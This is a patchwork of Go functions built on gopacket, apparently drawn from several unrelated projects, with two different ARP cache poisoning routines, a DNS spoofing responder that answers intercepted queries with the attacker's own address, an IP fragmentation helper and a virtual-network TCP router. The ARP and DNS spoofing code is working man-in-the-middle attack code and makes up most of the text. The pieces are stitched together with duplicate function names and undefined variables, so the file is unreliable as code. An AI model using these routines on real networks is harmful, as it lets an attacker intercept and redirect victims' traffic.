func fragment(eth layers.Ethernet, ip layers.IPv4, mtu int,
forward func([]byte)) error {
// We are not doing any sort of NAT, so we don't need to worry
// about checksums of IP payload (eg UDP checksum).
headerSize := int(ip.IHL) * 4
// &^ is bit clear (AND NOT). So here we're clearing the lowest 3
// bits.
maxSegmentSize := (mtu - headerSize) &^ 7
opts := gopacket.SerializeOptions{
FixLengths: false,
ComputeChecksums: true}
payloadSize := int(ip.Length) - headerSize
payload := ip.BaseLayer.Payload[:payloadSize]
offsetBase := int(ip.FragOffset) << 3
origFlags := ip.Flags
ip.Flags = ip.Flags | layers.IPv4MoreFragments
ip.Length = uint16(headerSize + maxSegmentSize)
if eth.EthernetType == layers.EthernetTypeLLC {
// using LLC, so must set eth length correctly. eth length
// is just the length of the payload
eth.Length = ip.Length
} else {
eth.Length = 0
}
for offset := 0; offset < payloadSize; offset += maxSegmentSize {
var segmentPayload []byte
if len(payload) <= maxSegmentSize {
// last one
segmentPayload = payload
ip.Length = uint16(len(payload) + headerSize)
ip.Flags = origFlags
if eth.EthernetType == layers.EthernetTypeLLC {
eth.Length = ip.Length
} else {
eth.Length = 0
}
} else {
segmentPayload = payload[:maxSegmentSize]
payload = payload[maxSegmentSize:]
}
ip.FragOffset = uint16((offset + offsetBase) >> 3)
buf := gopacket.NewSerializeBuffer()
segPayload := gopacket.Payload(segmentPayload)
err := gopacket.SerializeLayers(buf, opts, ð, &ip,
&segPayload)
if err != nil {
return err
}
forward(buf.Bytes())
}
return nil
}
/*
FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{
RETURNS: Byte array containing the spoofed response DNS packet data
ARGUMENTS:
*layers.Ethernet ethernetLayer - the ethernet part of the packet recieved
*layers.DNS dnsLayer - the dns part of the packet recieved
*layers.IPv4 ipLayer - the ip part of the packet recieved
*layers.UDP udpLayer - the udp part of the packet recieved
ABOUT:
Crafts a spoofed dns packet using the incoming query.
*/
func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte {
//if not a question return
if dnsLayer.QR || ipLayer.SrcIP.String() != target {
return nil
}
//must build every layer to send DNS packets
ethMac := ethernetLayer.DstMAC
ethernetLayer.DstMAC = ethernetLayer.SrcMAC
ethernetLayer.SrcMAC = ethMac
ipSrc := ipLayer.SrcIP
ipLayer.SrcIP = ipLayer.DstIP
ipLayer.DstIP = ipSrc
srcPort := udpLayer.SrcPort
udpLayer.SrcPort = udpLayer.DstPort
udpLayer.DstPort = srcPort
err = udpLayer.SetNetworkLayerForChecksum(ipLayer)
checkError(err)
var answer layers.DNSResourceRecord
answer.Type = layers.DNSTypeA
answer.Class = layers.DNSClassIN
answer.TTL = 200
answer.IP = ipAddr
dnsLayer.QR = true
for _, q := range dnsLayer.Questions {
if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
continue
}
answer.Name = q.Name
dnsLayer.Answers = append(dnsLayer.Answers, answer)
dnsLayer.ANCount = dnsLayer.ANCount + 1
}
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer)
checkError(err)
return buf.Bytes()
}
/*
FUNCTION: arpPoison(targetMAC, gateway, gatewayMAC string){
RETURNS: Nothing
ARGUMENTS:
string targetMAC - the victim mac address for spoofing
string gateway - the gateway IP the victim uses
string gatewayMAC - the mac address of the gateway the vicitim uses
ABOUT:
Performs arp poisoning of the target machine. Sets its traffic to all come
through the host machine, and sets the gateway to redirect its traffic for the victim to this host.
*/
func arpPoison(targetMAC, gateway, gatewayMAC string) {
// i lost my mind over this, the parseip function is broke and adds a bucket of worthless
// bytes to the beginning of the array, I wish I did this in C
// I GUESS I DID C
gw := (net.ParseIP(gateway))[12:]
tg := (net.ParseIP(target))[12:]
tgm, _ := net.ParseMAC(targetMAC)
gwm, _ := net.ParseMAC(gatewayMAC)
fmt.Print("========================")
fmt.Printf("GateWay IP:%s\nTarget IP:%s\nGateway MAC:%s\nTarget MAC:%s\n", gateway, target, gatewayMAC, targetMAC)
fmt.Print("========================")
ethernetPacket := layers.Ethernet{}
ethernetPacket.DstMAC = tgm
ethernetPacket.SrcMAC = macAddr
ethernetPacket.EthernetType = layers.EthernetTypeARP
arpPacket := layers.ARP{}
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.Protocol = 0x0800
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
//poison the target
arpPacket.SourceHwAddress = macAddr
arpPacket.SourceProtAddress = gw
arpPacket.DstHwAddress = tgm
arpPacket.DstProtAddress = tg
gwEthernetPacket := ethernetPacket
gwARPPacket := arpPacket
//poison the gateway
gwARPPacket.SourceProtAddress = tg
gwARPPacket.DstHwAddress = gwm
gwARPPacket.DstProtAddress = gw
for {
//poison target
writePoison(arpPacket, ethernetPacket)
time.Sleep(1 * time.Second)
//poison gateway
writePoison(gwARPPacket, gwEthernetPacket)
time.Sleep(5 * time.Second)
}
}
func arpPoison(device string, routerMac net.HardwareAddr, routerIP net.IP, localMac net.HardwareAddr, localIP net.IP, victimMac net.HardwareAddr, victimIP net.IP) {
// Open NIC at layer 2
handle, err := pcap.OpenLive(device, 1024, false, pcap.BlockForever)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer handle.Close()
// create an empty ethernet packet
ethernetPacket := layers.Ethernet{}
// create an empty ARP packet
arpPacket := layers.ARP{}
// pre populate Arp Packet Info
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
arpPacket.Protocol = 0x0800
// continiously put arp responses on the wire to ensure a good posion.
for {
/******** posion arp from victim to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// create a buffer
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{}
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = routerIP
arpPacket.DstHwAddress = victimMac
arpPacket.DstProtAddress = victimIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
// turn the packet into a byte array
packetData := buf.Bytes()
//remove padding and write to the wire
handle.WritePacketData(packetData[:42])
//Sleep so we don't flood with ARPS
time.Sleep(50 * time.Millisecond)
/******** end posion arp from victim to local ********/
/******** posion arp from router to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = victimIP
arpPacket.DstHwAddress = routerMac
arpPacket.DstProtAddress = routerIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
// turn the packet into a byte array
packetData = buf.Bytes()
//remove padding and write to the wire
handle.WritePacketData(packetData[:42])
/******** end posion arp from router to local ********/
//Sleep so we don't flood with ARPS
time.Sleep(5 * time.Second)
}
}
func (vnet *VNET) handleTCP(pkt *Packet, now time.Time) {
// fmt.Printf("TCP: %08x %s\n", pkt.Flags, pkt.String())
defer pkt.Release()
var err error
if bytes.Equal(pkt.Eth.DstMAC, layers.EthernetBroadcast[:]) {
// ignore
return
}
if pkt.DstHost == nil {
// ignore
return
}
if !pkt.DstHost.Up {
log.Printf("destination is down: %s", pkt.DstHost.Name)
// ignore
return
}
var (
srcIP net.IP
dstIP net.IP
srcPort = uint16(pkt.TCP.SrcPort)
dstPort = uint16(pkt.TCP.DstPort)
)
if pkt.IPv4 != nil {
srcIP = CloneIP(pkt.IPv4.SrcIP.To16())
dstIP = CloneIP(pkt.IPv4.DstIP.To16())
} else if pkt.IPv6 != nil {
srcIP = CloneIP(pkt.IPv6.SrcIP.To16())
dstIP = CloneIP(pkt.IPv6.DstIP.To16())
} else {
log.Printf("invalid protocol")
// ignore
return
}
route := vnet.routes.GetTable().Lookup(
protocols.TCP,
srcIP, dstIP, srcPort, dstPort)
if route == nil {
rule, found := vnet.rules.GetTable().Lookup(protocols.TCP, pkt.DstHost.ID, dstPort)
if !found {
log.Printf("no rule")
// ignore
return
}
var (
ruleDstIP = rule.DstIP
ruleDstPort = rule.DstPort
hostIP net.IP
hostPort uint16
)
if ruleDstIP != nil {
hostIP = dstIP
hostPort, err = vnet.ports.Allocate(pkt.DstHost.ID, protocols.TCP, 0)
if err != nil {
// ignore
log.Printf("TCP/error: %s", err)
return
}
var r routes.Route
r.Protocol = protocols.TCP
r.HostID = pkt.DstHost.ID
r.SetInboundSource(hostIP, hostPort)
r.SetInboundDestination(vnet.system.GatewayIPv4(), vnet.proxy.TCPPort)
r.SetOutboundDestination(ruleDstIP, rule.DstPort)
route, err = vnet.routes.AddRoute(&r)
if err != nil {
// ignore
log.Printf("TCP/error: %s", err)
return
}
ruleDstIP = vnet.system.GatewayIPv4()
ruleDstPort = vnet.proxy.TCPPort
}
if ruleDstIP == nil {
gateway := vnet.hosts.GetTable().LookupByName("gateway")
if gateway == nil || !gateway.Up {
log.Printf("no gateway")
// ignore
return
}
if dstIP.To4() != nil {
if len(gateway.IPv4Addrs) > 0 {
ruleDstIP = gateway.IPv4Addrs[0]
}
} else {
if len(gateway.IPv6Addrs) > 0 {
ruleDstIP = gateway.IPv6Addrs[0]
}
}
}
if ruleDstIP == nil {
log.Printf("no destination ip")
// ignore
return
}
var r routes.Route
r.Protocol = protocols.TCP
r.HostID = pkt.DstHost.ID
r.SetInboundSource(srcIP, srcPort)
r.SetInboundDestination(dstIP, dstPort)
r.SetOutboundSource(hostIP, hostPort)
r.SetOutboundDestination(ruleDstIP, ruleDstPort)
route, err = vnet.routes.AddRoute(&r)
if err != nil {
// ignore
log.Printf("TCP/error: %s", err)
return
}
}
if route == nil {
log.Printf("no route")
// ignore
return
}
var (
eth layers.Ethernet
tcp layers.TCP
)
eth = *pkt.Eth
eth.SrcMAC = vnet.system.ControllerMAC()
eth.DstMAC = vnet.system.GatewayMAC()
tcp = *pkt.TCP
tcp.SrcPort = layers.TCPPort(route.Outbound.SrcPort)
tcp.DstPort = layers.TCPPort(route.Outbound.DstPort)
if route.Outbound.DstIP.To4() != nil {
ip := layers.IPv4{
SrcIP: route.Outbound.SrcIP.To4(),
DstIP: route.Outbound.DstIP.To4(),
Version: 4,
Protocol: layers.IPProtocolTCP,
TTL: 64,
}
tcp.SetNetworkLayerForChecksum(&ip)
err = vnet.writePacket(
ð,
&ip,
&tcp,
gopacket.Payload(pkt.TCP.Payload))
if err != nil {
log.Printf("TCP/error: %s", err)
return
}
} else {
ip := layers.IPv6{
SrcIP: route.Outbound.SrcIP.To16(),
DstIP: route.Outbound.DstIP.To16(),
Version: 4,
NextHeader: layers.IPProtocolTCP,
}
tcp.SetNetworkLayerForChecksum(&ip)
err = vnet.writePacket(
ð,
&ip,
&tcp,
gopacket.Payload(pkt.TCP.Payload))
if err != nil {
log.Printf("TCP/error: %s", err)
return
}
}
route.RoutedPacket(now, len(pkt.buf))
}
/*
Spoof is the entry point for the actual spoofing subroutine.
Spoof handles getting packets from the NICs, identifying DNS
queries, and seding responses. It is mostly concerened with
the packet level logic, and does not manipulate the responses
themselves
*/
func spoof(ifacename string) {
// get our local ip
ip := getIfaceAddr(ifacename)
if ip == nil {
panic("Unable to get IP")
}
// open a handle to the network card(s)
ifaceHandle, err := pcap.OpenLive(ifacename, 1600, true, pcap.BlockForever)
if err != nil {
panic(err)
}
defer ifaceHandle.Close()
// set the filter
err = ifaceHandle.SetBPFFilter("udp and dst port 53")
if err != nil {
// not fatal
fmt.Printf("Unable to set filter: %v\n", err.Error())
}
// pre-allocate all the space needed for the layers
var ethLayer layers.Ethernet
var ipv4Layer layers.IPv4
var udpLayer layers.UDP
var dnsLayer layers.DNS
var q layers.DNSQuestion
var a layers.DNSResourceRecord
// create the decoder for fast-packet decoding
// (using the fast decoder takes about 10% the time of normal decoding)
decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer)
// this slick will hold the names of the layers successfully decoded
decodedLayers := make([]gopacket.LayerType, 0, 4)
// pre-create the response with most of the data filled out
a.Type = layers.DNSTypeA
a.Class = layers.DNSClassIN
a.TTL = 300
a.IP = ip
// create a buffer for writing output packet
outbuf := gopacket.NewSerializeBuffer()
// TODO (Optionally) replace with NewSerializeBufferExpectedSize to speed up a bit more
// set the arguments for serialization
serialOpts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
// pre-allocate loop counter
var i uint16
// swap storage for ip and udp fields
var ipv4Addr net.IP
var udpPort layers.UDPPort
var ethMac net.HardwareAddr
// Main loop for dns packets intercepted
// No new allocations after this point to keep garbage collector
// cyles at a minimum
for {
packetData, _, err := ifaceHandle.ZeroCopyReadPacketData()
if err != nil {
break
}
fmt.Println("Got packet from filter")
// decode this packet using the fast decoder
err = decoder.DecodeLayers(packetData, &decodedLayers)
if err != nil {
fmt.Println("Decoding error!")
continue
}
// only proceed if all layers decoded
if len(decodedLayers) != 4 {
fmt.Println("Not enough layers!")
continue
}
// check that this is not a response
if dnsLayer.QR {
continue
}
// print the question section
for i = 0; i < dnsLayer.QDCount; i++ {
fmt.Println(string(dnsLayer.Questions[i].Name))
}
// set this to be a response
dnsLayer.QR = true
// if recursion was requested, it is available
if dnsLayer.RD {
dnsLayer.RA = true
}
// for each question
for i = 0; i < dnsLayer.QDCount; i++ {
// get the question
q = dnsLayer.Questions[i]
// verify this is an A-IN record question
if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
continue
}
// copy the name across to the response
a.Name = q.Name
// append the answer to the original query packet
dnsLayer.Answers = append(dnsLayer.Answers, a)
dnsLayer.ANCount = dnsLayer.ANCount + 1
}
// swap ethernet macs
ethMac = ethLayer.SrcMAC
ethLayer.SrcMAC = ethLayer.DstMAC
ethLayer.DstMAC = ethMac
// swap the ip
ipv4Addr = ipv4Layer.SrcIP
ipv4Layer.SrcIP = ipv4Layer.DstIP
ipv4Layer.DstIP = ipv4Addr
// swap the udp ports
udpPort = udpLayer.SrcPort
udpLayer.SrcPort = udpLayer.DstPort
udpLayer.DstPort = udpPort
// set the UDP to be checksummed by the IP layer
err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer)
if err != nil {
panic(err)
}
// serialize packets
err = gopacket.SerializeLayers(outbuf, serialOpts, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer)
if err != nil {
panic(err)
}
// write packet
err = ifaceHandle.WritePacketData(outbuf.Bytes())
if err != nil {
panic(err)
}
fmt.Println("Response sent")
// comment out for debugging
continue
// DEBUGGG--------------------------------------------------------------
err = decoder.DecodeLayers(outbuf.Bytes(), &decodedLayers)
if err != nil {
fmt.Println("Decoding error: " + err.Error())
continue
}
// only proceed if all layers decoded
if len(decodedLayers) != 4 {
fmt.Println("Not enough layers!")
for j := range decodedLayers {
fmt.Println(decodedLayers[j])
}
continue
}
// print packet
fmt.Printf("IP src %v\n", ipv4Layer.SrcIP)
fmt.Printf("IP dst %v\n", ipv4Layer.DstIP)
fmt.Printf("UDP src port: %v\n", udpLayer.SrcPort)
fmt.Printf("UDP dst port: %v\n", udpLayer.DstPort)
fmt.Printf("DNS Quy count: %v\n", dnsLayer.QDCount)
// print the question section
for i = 0; i < dnsLayer.QDCount; i++ {
fmt.Printf("%v\n", string(dnsLayer.Questions[i].Name))
}
fmt.Printf("DNS Ans count: %v\n", dnsLayer.ANCount)
// print the question section
for i = 0; i < dnsLayer.ANCount; i++ {
fmt.Printf("%v type %v\n", string(dnsLayer.Answers[i].Name), dnsLayer.Answers[i].Type)
fmt.Printf("\t%v\n", dnsLayer.Answers[i].IP)
}
break
}
}